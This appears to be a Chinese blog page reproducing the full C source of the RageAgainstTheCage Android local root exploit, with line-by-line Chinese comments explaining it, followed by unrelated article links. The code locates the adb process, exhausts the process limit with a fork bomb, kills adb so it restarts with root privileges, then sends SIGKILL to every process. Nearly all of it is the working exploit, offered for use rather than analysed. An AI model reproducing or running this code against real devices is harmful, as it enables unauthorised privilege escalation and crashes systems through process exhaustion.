//头文件包含 
#include <stdio.h> 
#include <sys/types.h> 
#include <sys/time.h> 
#include <sys/resource.h> 
#include <unistd.h> 
#include <fcntl.h> 
#include <errno.h> 
#include <string.h> 
#include <signal.h> 
#include <stdlib.h> 
 
 
//输出错误消息后退出程序 
void die(const char *msg) 

    perror(msg); 
    exit(errno); 

 
 
//搜索ADB进程,返回其PID,没有找到时返回0 
pid_t find_adb() 

    char buf[256]; 
    int i = 0, fd = 0; 
    pid_t found = 0;    //初始化为0,如果没有找到adb将一直保持0值 
 
 
    //遍历进程ID的有效范围 
    for (i = 0; i < 32000; ++i)  
    { 
        //拼接字符串"/proc/<PID>/cmdline" 
        sprintf(buf, "/proc/%d/cmdline", i); 
 
 
        //打开失败,进程不存在或无权访问 
        if ((fd = open(buf, O_RDONLY)) < 0) 
        { 
            //跳过这个PID,继续下一轮循环 
            continue; 
        }   //end if 
 
 
        //buf填0 
        memset(buf, 0, sizeof(buf)); 
 
 
        //读取进程的命令行 
        read(fd, buf, sizeof(buf) - 1); 
 
 
        //关闭进程 
        close(fd); 
 
 
        //在命令行中查找"/sbin/adb" 
        if (strstr(buf, "/sbin/adb"))  
        { 
            //找到了"/sbin/adb"则说明找到了adb进程,返回找到的PID 
            found = i; 
            break; 
        }   //end if 
    }   //end for 
 
 
    //返回找到的PID或0值 
    return found; 

 
 
//重启adb进程,参数为当前adb进程的PID 
void restart_adb(pid_t pid) 

    //直接杀死进程(sig = SIGKILL) 
    kill(pid, 9); 

 
 
//等待具有root权限的adb进程 
//参数为原有adb进程的PID 
void wait_for_root_adb(pid_t old_adb) 

    pid_t p = 0; 
 
 
    //死循环,只能由里面的break跳出 
    for (;;)  
    { 
        //搜索adb进程 
        p = find_adb(); 
 
 
        //找到了adb进程,并且不是原来那个旧的adb进程 
        if (p != 0 && p != old_adb) 
        { 
            //退出循环 
            break; 
        } 
 
 
        //休息1秒,防止大量占用CPU 
        sleep(1); 
 
 
    }   //end for 
 
 
    //休息5秒,等待新的adb进程初始化完毕 
    sleep(5); 
 
 
    //将SIGKILL广播给系统中的所有进程 
    kill(-1, 9); 

 
 
//程序入口点 
int main(int argc, char **argv) 

    pid_t adb_pid = 0, p; 
    int pids = 0, new_pids = 1; 
    int pepe[2]; 
    char c = 0; 
    struct rlimit rl; 
 
 
    //启动时显示的版本与版权信息 
    printf(" CVE-2010-EASY Android local root exploit (C) 2010 by 743C\n\n"); 
    printf(" checking NPROC limit ...\n"); 
 
 
    //获取当前进程可以创建的最大子进程数量 
    if (getrlimit(RLIMIT_NPROC, &rl) < 0) 
    { 
        //失败时输出消息退出 
        die("[-] getrlimit"); 
    } 
 
 
    //检查是否有最大子进程数量限制 
    if (rl.rlim_cur == RLIM_INFINITY)  
    { 
        //当没有最大子进程数量限制时,不执行exploit,否则将导致系统崩溃 
        printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine. Exiting.\n"); 
        exit(1); 
    } 
 
 
    //输出最大子进程数量软性限制和硬性限制 
    printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max); 
    printf(" Searching for adb ...\n"); 
 
 
    //查找adb进程 
    adb_pid = find_adb(); 
 
 
    //检查是否找到了adb进程 
    if (!adb_pid) 
    { 
        //没有找到时直接退出 
        die("[-] Cannot find adb"); 
    } 
 
 
    //输出adb进程的PID 
    printf("[+] Found adb as PID %d\n", adb_pid); 
 
 
    //输出一大堆废话 
    printf(" Spawning children. Dont type anything and wait for reset!\n"); 
    printf("\n If you like what we are doing you can send us PayPal money to\n" 
           " 7-4-3-C@web.de so we can compensate time, effort and HW costs.\n" 
           " If you are a company and feel like you profit from our work,\n" 
           " we also accept donations > 1000 USD!\n"); 
    printf("\n adb connection will be reset. restart adb server on desktop and re-login.\n"); 
 
 
    //休息5秒,防止当前的adb进程没有完全初始化 
    sleep(5); 
 
 
    //如果在父进程中(已有子进程) 
    if (fork() > 0) 
    { 
        //退出 
        exit(0); 
    } 
 
 
    //创建一个新的进程组 
    setsid(); 
 
 
    //创建管道 
    pipe(pepe); 
 
 
     
    //如果在子进程中 
    if (fork() == 0)  
    { 
        //关闭输入管道 
        close(pepe[0]); 
 
 
        //死循环,直到满足条件时退出进程 
        for (;;)  
        { 
            //如果是子进程 
            if ((p = fork()) == 0)  
            { 
                //直接退出 
                exit(0); 
            }  
            else if (p < 0)     //创建进程失败,说明已达到进程数最大值 
            { 
                //确保代码只执行一次,防止多个进程反复输出信息 
                if (new_pids)  
                { 
                    printf("\n[+] Forked %d childs.\n", pids); 
                    new_pids = 0; 
                    //在输出管道中写入一个字节,然后关闭管道 
                    //相当于通知顶级父进程fork炸弹完成 
                    write(pepe[1], &c, 1); 
                    close(pepe[1]); 
                } 
            }  
            else  
            { 
                //进程总数+1 
                ++pids; 
            } 
        } 
    } 
 
 
    //关闭输出管道 
    close(pepe[1]); 
 
 
    //从输入管道中读一个字符,用来等待前面创建的子进程到达最大值 
    read(pepe[0], &c, 1); 
 
 
    //重启adb 
    restart_adb(adb_pid); 
 
 
    //在adb重启完以前,再创建一个子进程,占用刚释放出的进程空位 
    if (fork() == 0)  
    { 
        //子进程里继续开子进程,保证进程空位被占满 
        fork(); 
 
 
        //无限休眠,永不退出 
        for (;;) 
        { 
            sleep(0x743C); 
        } 
    } 
 
 
    //等待具有root权限的adb启动 
    wait_for_root_adb(adb_pid); 
 
 
    //执行完毕 
    return 0; 
}

rageagainstthecage 源代码的更多相关文章

  1. arcgis api for js入门开发系列八聚合效果(含源代码)

    上一篇实现了demo的图层控制模块,本篇新增聚合效果,截图如下(源代码见文章底部): 聚合效果实现的思路如下: 1.map.html引用聚合包,项目已经包含进来了的聚合文件夹: <script ...

  2. arcgis api for js入门开发系列七图层控制(含源代码)

    上一篇实现了demo的地图分屏对比模块,本篇新增图层控制模块,截图如下(源代码见文章底部): 图层控制模块实现的思路如下: 1.在地图配置文件map.config.js里面配置图层目录树节点信息,作为 ...

  3. arcgis api for js入门开发系列六地图分屏对比(含源代码)

    上一篇实现了demo的地图标绘模块,本篇新增地图地图分屏对比模块,截图如下(源代码见文章底部): 对效果图的简单介绍一下,在demo只采用了两分屏对比,感兴趣的话,可以在两分屏的基础上拓展,修改css ...

  4. arcgis api for js入门开发系列五地图态势标绘(含源代码)

    上一篇实现了demo的地图查询功能,本篇新增地图态势标绘模块,截图如下: 本篇核心的在于调用API的Draw工具:https://developers.arcgis.com/javascript/3/ ...

  5. arcgis api for js入门开发系列四地图查询(含源代码)

    备注:由于实现本篇功能的需求,修改了地图数据的dlsearch.mxd,然后更新了地图服务,需要的在文章最后有提供最新的mxd以及源代码下载的 上一篇实现了demo的地图工具栏,本篇新增地图查询功能, ...

  6. 使用git进行源代码管理

    git是一款非常流行的分布式版本控制系统,使用Local Repository追踪代码的修改,通过Push和Pull操作,将代码changes提交到Remote Repository,或从Remote ...

  7. 微软开放.NET框架源代码和Mono

    微软一直在朝着更加开放的方向努力.例如,公司首席执行官萨特亚纳德拉(Satya Nadella)在Windows 10预览发布会上声称微软喜欢Linux,这并不出人意料,但是对于一家将Linux视作威 ...

  8. 【完全开源】知乎日报UWP版:项目结构说明、关键源代码解释

    目录 说明 项目结构 关键代码 演示视频 说明 上一篇博客将源码放出来了,但是并没有做过多的介绍,所以如果自己硬看可能需要花费很长的时间,尤其这些代码并不是自己写的.项目不算复杂但是也不算简单,这篇文 ...

  9. SVN源代码的版本控制系统使用简介

    SVN是以个开放源代码的版本控制系统,当前最流行的版本控制系统,GIT是近段时间刚兴起的. 下面开始介绍如何安装也配置 1先下载或者从别的地方弄一个安装包(本人是64位的,32位的就用32位的安装包) ...

随机推荐

  1. 由EmbeddedFileProvider构建的内嵌(资源)文件系统

    由EmbeddedFileProvider构建的内嵌(资源)文件系统 一个物理文件可以直接作为资源内嵌到编译生成的程序集中.借助于EmbeddedFileProvider,我们可以统一的编程方式来读取 ...

  2. C11 memory_order

    概念: 摘录自:http://preshing.com/20120913/acquire-and-release-semantics/ Acquire semantics is a property ...

  3. 数据挖掘之clara算法原理及实例(代码中有bug)

    继上两篇文章介绍聚类中基于划分思想的k-means算法和k-mediod算法 本文将继续介绍另外一种基于划分思想的k-mediod算法-----clara算法 clara算法可以说是对k-mediod ...

  4. poj 1742 coins_多重背包

    题意:给你N个种硬币,价值和数量,知道手表不大于m,问能组成(1~m)的价格有多少种情况 套套上次那题的模板直接就行了,http://blog.csdn.net/neng18/article/deta ...

  5. MongoDB C driver API continues

    开篇前 <1,mongoc_init() func> mongoc_init() Synopsis void mongoc_init (void); Description This fu ...

  6. hibernate 查询、二级缓存、连接池

    hibernate 查询.二级缓存.连接池 查询: 1) 主键查询 Dept dept =  (Dept) session.get(Dept.class, 12); Dept dept =  (Dep ...

  7. 最少步数(dfs + bfs +bfs优化)

    最少步数 时间限制:3000 ms  |  内存限制:65535 KB 难度:4   描述 这有一个迷宫,有0~8行和0~8列: 1,1,1,1,1,1,1,1,1 1,0,0,1,0,0,1,0,1 ...

  8. Codeforces Round #156 (Div. 2)---A. Greg&#39;s Workout

    Greg's Workout time limit per test 2 seconds memory limit per test 256 megabytes input standard inpu ...

  9. Android Java混淆(ProGuard)

    本文转载别人博客,转载请注明出处:http://www.blogjava.net/zh-weir/archive/2011/07/12/354190.html ProGuard简介 ProGuard是 ...

  10. 【线段树求最靠前】【HDU2795】【Billboard】

    题意: 有一个H*W的广告牌,当插入一个广告时(1*Wi),问最靠前的插入方式是什么 新生赛有个类似的题目,可惜当时居然没水过去. 果断用线段树做 以H为线段 建树,存[l,r]中最大的宽度,因为区间 ...